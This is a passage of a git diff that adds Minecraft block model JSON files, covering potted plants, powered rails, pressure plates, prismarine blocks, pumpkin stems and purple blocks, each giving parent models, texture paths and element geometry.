\ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_brown_mushroom.json b/src/assets/minecraft/models/block/potted_brown_mushroom.json new file mode 100644 index 00000000..3e837e62 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_brown_mushroom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/brown_mushroom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_cactus.json b/src/assets/minecraft/models/block/potted_cactus.json new file mode 100644 index 00000000..8308298f --- /dev/null +++ b/src/assets/minecraft/models/block/potted_cactus.json @@ -0,0 +1,32 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/flower_pot", + "flowerpot": "block/flower_pot", + "cactus_top": "block/cactus_top", + "cactus": "block/cactus_side" + }, + "elements": [ + { "from": [ 5, 0, 5 ], + "to": [ 11, 6, 11 ], + "faces": { + "down": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "texture": "#flowerpot" }, + "north": { "texture": "#flowerpot" }, + "south": { "texture": "#flowerpot" }, + "west": { "texture": "#flowerpot" }, + "east": { "texture": "#flowerpot" } + } + }, + { "from": [ 6, 5, 6 ], + "to": [ 10, 16, 10 ], + "faces": { + "up": { "texture": "#cactus_top", "cullface": "up" }, + "north": { "uv": [ 6, 0, 10, 12 ], "texture": "#cactus" }, + "south": { "uv": [ 6, 0, 10, 12 ], "texture": "#cactus" }, + "west": { "uv": [ 6, 0, 10, 12 ], "texture": "#cactus" }, + "east": { "uv": [ 6, 0, 10, 12 ], "texture": "#cactus" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/potted_cornflower.json b/src/assets/minecraft/models/block/potted_cornflower.json new file mode 100644 index 00000000..70d88359 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_cornflower.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/cornflower" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_crimson_fungus.json b/src/assets/minecraft/models/block/potted_crimson_fungus.json new file mode 100644 index 00000000..08aea2cb --- /dev/null +++ b/src/assets/minecraft/models/block/potted_crimson_fungus.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/crimson_fungus" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_crimson_roots.json b/src/assets/minecraft/models/block/potted_crimson_roots.json new file mode 100644 index 00000000..b5b27112 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_crimson_roots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/crimson_roots_pot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_dandelion.json b/src/assets/minecraft/models/block/potted_dandelion.json new file mode 100644 index 00000000..c6c36133 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_dandelion.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/dandelion" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_dark_oak_sapling.json b/src/assets/minecraft/models/block/potted_dark_oak_sapling.json new file mode 100644 index 00000000..b269e873 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_dark_oak_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/dark_oak_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_dead_bush.json b/src/assets/minecraft/models/block/potted_dead_bush.json new file mode 100644 index 00000000..e2f1fc5f --- /dev/null +++ b/src/assets/minecraft/models/block/potted_dead_bush.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/dead_bush" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_fern.json b/src/assets/minecraft/models/block/potted_fern.json new file mode 100644 index 00000000..3076b6d1 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_fern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_flower_pot_cross", + "textures": { + "plant": "minecraft:block/fern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_jungle_sapling.json b/src/assets/minecraft/models/block/potted_jungle_sapling.json new file mode 100644 index 00000000..4ee93988 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_jungle_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/jungle_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_lily_of_the_valley.json b/src/assets/minecraft/models/block/potted_lily_of_the_valley.json new file mode 100644 index 00000000..a09d9c16 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_lily_of_the_valley.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/lily_of_the_valley" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_oak_sapling.json b/src/assets/minecraft/models/block/potted_oak_sapling.json new file mode 100644 index 00000000..c4746c46 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_oak_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/oak_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_orange_tulip.json b/src/assets/minecraft/models/block/potted_orange_tulip.json new file mode 100644 index 00000000..bd2b5e75 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_orange_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/orange_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_oxeye_daisy.json b/src/assets/minecraft/models/block/potted_oxeye_daisy.json new file mode 100644 index 00000000..107dc8e8 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_oxeye_daisy.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/oxeye_daisy" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_pink_tulip.json b/src/assets/minecraft/models/block/potted_pink_tulip.json new file mode 100644 index 00000000..75658f75 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_pink_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/pink_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_poppy.json b/src/assets/minecraft/models/block/potted_poppy.json new file mode 100644 index 00000000..6fdefca8 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_poppy.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/poppy" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_red_mushroom.json b/src/assets/minecraft/models/block/potted_red_mushroom.json new file mode 100644 index 00000000..9bc28969 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_red_mushroom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/red_mushroom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_red_tulip.json b/src/assets/minecraft/models/block/potted_red_tulip.json new file mode 100644 index 00000000..6541daaa --- /dev/null +++ b/src/assets/minecraft/models/block/potted_red_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/red_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_spruce_sapling.json b/src/assets/minecraft/models/block/potted_spruce_sapling.json new file mode 100644 index 00000000..431559fa --- /dev/null +++ b/src/assets/minecraft/models/block/potted_spruce_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/spruce_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_warped_fungus.json b/src/assets/minecraft/models/block/potted_warped_fungus.json new file mode 100644 index 00000000..de7e890a --- /dev/null +++ b/src/assets/minecraft/models/block/potted_warped_fungus.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/warped_fungus" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_warped_roots.json b/src/assets/minecraft/models/block/potted_warped_roots.json new file mode 100644 index 00000000..ac44109d --- /dev/null +++ b/src/assets/minecraft/models/block/potted_warped_roots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/warped_roots_pot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_white_tulip.json b/src/assets/minecraft/models/block/potted_white_tulip.json new file mode 100644 index 00000000..efc662fe --- /dev/null +++ b/src/assets/minecraft/models/block/potted_white_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/white_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_wither_rose.json b/src/assets/minecraft/models/block/potted_wither_rose.json new file mode 100644 index 00000000..1eab257a --- /dev/null +++ b/src/assets/minecraft/models/block/potted_wither_rose.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/wither_rose" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/powered_rail.json b/src/assets/minecraft/models/block/powered_rail.json new file mode 100644 index 00000000..be1faa81 --- /dev/null +++ b/src/assets/minecraft/models/block/powered_rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/powered_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/powered_rail_on.json b/src/assets/minecraft/models/block/powered_rail_on.json new file mode 100644 index 00000000..eccba5ee --- /dev/null +++ b/src/assets/minecraft/models/block/powered_rail_on.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/powered_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/powered_rail_on_raised_ne.json b/src/assets/minecraft/models/block/powered_rail_on_raised_ne.json new file mode 100644 index 00000000..b8be1418 --- /dev/null +++ b/src/assets/minecraft/models/block/powered_rail_on_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/powered_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/powered_rail_on_raised_sw.json b/src/assets/minecraft/models/block/powered_rail_on_raised_sw.json new file mode 100644 index 00000000..07fdc142 --- /dev/null +++ b/src/assets/minecraft/models/block/powered_rail_on_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/powered_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/powered_rail_raised_ne.json b/src/assets/minecraft/models/block/powered_rail_raised_ne.json new file mode 100644 index 00000000..ebfd5e1c --- /dev/null +++ b/src/assets/minecraft/models/block/powered_rail_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/powered_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/powered_rail_raised_sw.json b/src/assets/minecraft/models/block/powered_rail_raised_sw.json new file mode 100644 index 00000000..516a56ee --- /dev/null +++ b/src/assets/minecraft/models/block/powered_rail_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/powered_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pressure_plate_down.json b/src/assets/minecraft/models/block/pressure_plate_down.json new file mode 100644 index 00000000..db6e6ba6 --- /dev/null +++ b/src/assets/minecraft/models/block/pressure_plate_down.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 1, 0, 1 ], + "to": [ 15, 0.5, 15 ], + "faces": { + "down": { "uv": [ 1, 1, 15, 15 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 1, 1, 15, 15 ], "texture": "#texture" }, + "north": { "uv": [ 1, 15, 15, 15.5 ], "texture": "#texture" }, + "south": { "uv": [ 1, 15, 15, 15.5 ], "texture": "#texture" }, + "west": { "uv": [ 1, 15, 15, 15.5 ], "texture": "#texture" }, + "east": { "uv": [ 1, 15, 15, 15.5 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/pressure_plate_up.json b/src/assets/minecraft/models/block/pressure_plate_up.json new file mode 100644 index 00000000..689fbe4f --- /dev/null +++ b/src/assets/minecraft/models/block/pressure_plate_up.json @@ -0,0 +1,18 @@ +{ "parent": "block/thin_block", + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 1, 0, 1 ], + "to": [ 15, 1, 15 ], + "faces": { + "down": { "uv": [ 1, 1, 15, 15 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 1, 1, 15, 15 ], "texture": "#texture" }, + "north": { "uv": [ 1, 15, 15, 16 ], "texture": "#texture" }, + "south": { "uv": [ 1, 15, 15, 16 ], "texture": "#texture" }, + "west": { "uv": [ 1, 15, 15, 16 ], "texture": "#texture" }, + "east": { "uv": [ 1, 15, 15, 16 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/prismarine.json b/src/assets/minecraft/models/block/prismarine.json new file mode 100644 index 00000000..bbac86bf --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_brick_slab.json b/src/assets/minecraft/models/block/prismarine_brick_slab.json new file mode 100644 index 00000000..ca49b4e1 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/prismarine_bricks", + "top": "minecraft:block/prismarine_bricks", + "side": "minecraft:block/prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_brick_slab_top.json b/src/assets/minecraft/models/block/prismarine_brick_slab_top.json new file mode 100644 index 00000000..af417696 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/prismarine_bricks", + "top": "minecraft:block/prismarine_bricks", + "side": "minecraft:block/prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_brick_stairs.json b/src/assets/minecraft/models/block/prismarine_brick_stairs.json new file mode 100644 index 00000000..60798cf7 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/prismarine_bricks", + "top": "minecraft:block/prismarine_bricks", + "side": "minecraft:block/prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_brick_stairs_inner.json b/src/assets/minecraft/models/block/prismarine_brick_stairs_inner.json new file mode 100644 index 00000000..e610cd9b --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/prismarine_bricks", + "top": "minecraft:block/prismarine_bricks", + "side": "minecraft:block/prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_brick_stairs_outer.json b/src/assets/minecraft/models/block/prismarine_brick_stairs_outer.json new file mode 100644 index 00000000..5fbcb75f --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/prismarine_bricks", + "top": "minecraft:block/prismarine_bricks", + "side": "minecraft:block/prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_bricks.json b/src/assets/minecraft/models/block/prismarine_bricks.json new file mode 100644 index 00000000..ee4a465b --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/prismarine_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_slab.json b/src/assets/minecraft/models/block/prismarine_slab.json new file mode 100644 index 00000000..19622953 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/prismarine", + "top": "minecraft:block/prismarine", + "side": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_slab_top.json b/src/assets/minecraft/models/block/prismarine_slab_top.json new file mode 100644 index 00000000..5d90d115 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/prismarine", + "top": "minecraft:block/prismarine", + "side": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_stairs.json b/src/assets/minecraft/models/block/prismarine_stairs.json new file mode 100644 index 00000000..2863383c --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/prismarine", + "top": "minecraft:block/prismarine", + "side": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_stairs_inner.json b/src/assets/minecraft/models/block/prismarine_stairs_inner.json new file mode 100644 index 00000000..a2734708 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/prismarine", + "top": "minecraft:block/prismarine", + "side": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_stairs_outer.json b/src/assets/minecraft/models/block/prismarine_stairs_outer.json new file mode 100644 index 00000000..473f5a2d --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/prismarine", + "top": "minecraft:block/prismarine", + "side": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_wall_inventory.json b/src/assets/minecraft/models/block/prismarine_wall_inventory.json new file mode 100644 index 00000000..d638391d --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_wall_post.json b/src/assets/minecraft/models/block/prismarine_wall_post.json new file mode 100644 index 00000000..207d59d8 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_wall_side.json b/src/assets/minecraft/models/block/prismarine_wall_side.json new file mode 100644 index 00000000..e21990c6 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/prismarine_wall_side_tall.json b/src/assets/minecraft/models/block/prismarine_wall_side_tall.json new file mode 100644 index 00000000..31ed03f5 --- /dev/null +++ b/src/assets/minecraft/models/block/prismarine_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/prismarine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin.json b/src/assets/minecraft/models/block/pumpkin.json new file mode 100644 index 00000000..ab505114 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin.json @@ -0,0 +1,14 @@ +{ + "parent": "block/cube_column", + "display": { + "firstperson_righthand": { + "rotation": [ 0, 135, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + } + }, + "textures": { + "end": "block/pumpkin_top", + "side": "block/pumpkin_side" + } +} diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage0.json b/src/assets/minecraft/models/block/pumpkin_stem_stage0.json new file mode 100644 index 00000000..dc984be4 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth0", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage1.json b/src/assets/minecraft/models/block/pumpkin_stem_stage1.json new file mode 100644 index 00000000..510c8e6c --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth1", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage2.json b/src/assets/minecraft/models/block/pumpkin_stem_stage2.json new file mode 100644 index 00000000..d92cfae7 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth2", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage3.json b/src/assets/minecraft/models/block/pumpkin_stem_stage3.json new file mode 100644 index 00000000..a6fc0463 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth3", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage4.json b/src/assets/minecraft/models/block/pumpkin_stem_stage4.json new file mode 100644 index 00000000..6e43c087 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage4.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth4", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage5.json b/src/assets/minecraft/models/block/pumpkin_stem_stage5.json new file mode 100644 index 00000000..8dc2dfe8 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage5.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth5", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage6.json b/src/assets/minecraft/models/block/pumpkin_stem_stage6.json new file mode 100644 index 00000000..a2be41d6 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage6.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth6", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pumpkin_stem_stage7.json b/src/assets/minecraft/models/block/pumpkin_stem_stage7.json new file mode 100644 index 00000000..a4e71598 --- /dev/null +++ b/src/assets/minecraft/models/block/pumpkin_stem_stage7.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth7", + "textures": { + "stem": "minecraft:block/pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_carpet.json b/src/assets/minecraft/models/block/purple_carpet.json new file mode 100644 index 00000000..4cf9a92c --- /dev/null +++ b/src/assets/minecraft/models/block/purple_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/purple_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_concrete.json b/src/assets/minecraft/models/block/purple_concrete.json new file mode 100644 index 00000000..e064fd9e --- /dev/null +++ b/src/assets/minecraft/models/block/purple_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/purple_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_concrete_powder.json b/src/assets/minecraft/models/block/purple_concrete_powder.json new file mode 100644 index 00000000..9911efb2 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/purple_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_glazed_terracotta.json b/src/assets/minecraft/models/block/purple_glazed_terracotta.json new file mode 100644 index 00000000..8921b2dc --- /dev/null +++ b/src/assets/minecraft/models/block/purple_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/purple_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_shulker_box.json b/src/assets/minecraft/models/block/purple_shulker_box.json new file mode 100644 index 00000000..6f9cfc87 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/purple_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_stained_glass.json b/src/assets/minecraft/models/block/purple_stained_glass.json new file mode 100644 index 00000000..b64439f4 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/purple_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/purple_stained_glass_pane_noside.json new file mode 100644 index 00000000..9fc919ba --- /dev/null +++ b/src/assets/minecraft/models/block/purple_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/purple_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/purple_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..9a5775b3 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/purple_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_stained_glass_pane_post.json b/src/assets/minecraft/models/block/purple_stained_glass_pane_post.json new file mode 100644 index 00000000..83fcaf93 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/purple_stained_glass", + "edge": "minecraft:block/purple_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_stained_glass_pane_side.json b/src/assets/minecraft/models/block/purple_stained_glass_pane_side.json new file mode 100644 index 00000000..dbd332c4 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/purple_stained_glass", + "edge": "minecraft:block/purple_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/purple_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..9cedec9d --- /dev/null +++ b/src/assets/minecraft/models/block/purple_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/purple_stained_glass", + "edge": "minecraft:block/purple_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_terracotta.json b/src/assets/minecraft/models/block/purple_terracotta.json new file mode 100644 index 00000000..5c4c94fd --- /dev/null +++ b/src/assets/minecraft/models/block/purple_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/purple_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purple_wool.json b/src/assets/minecraft/models/block/purple_wool.json new file mode 100644 index 00000000..c59282e5 --- /dev/null +++ b/src/assets/minecraft/models/block/purple_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + 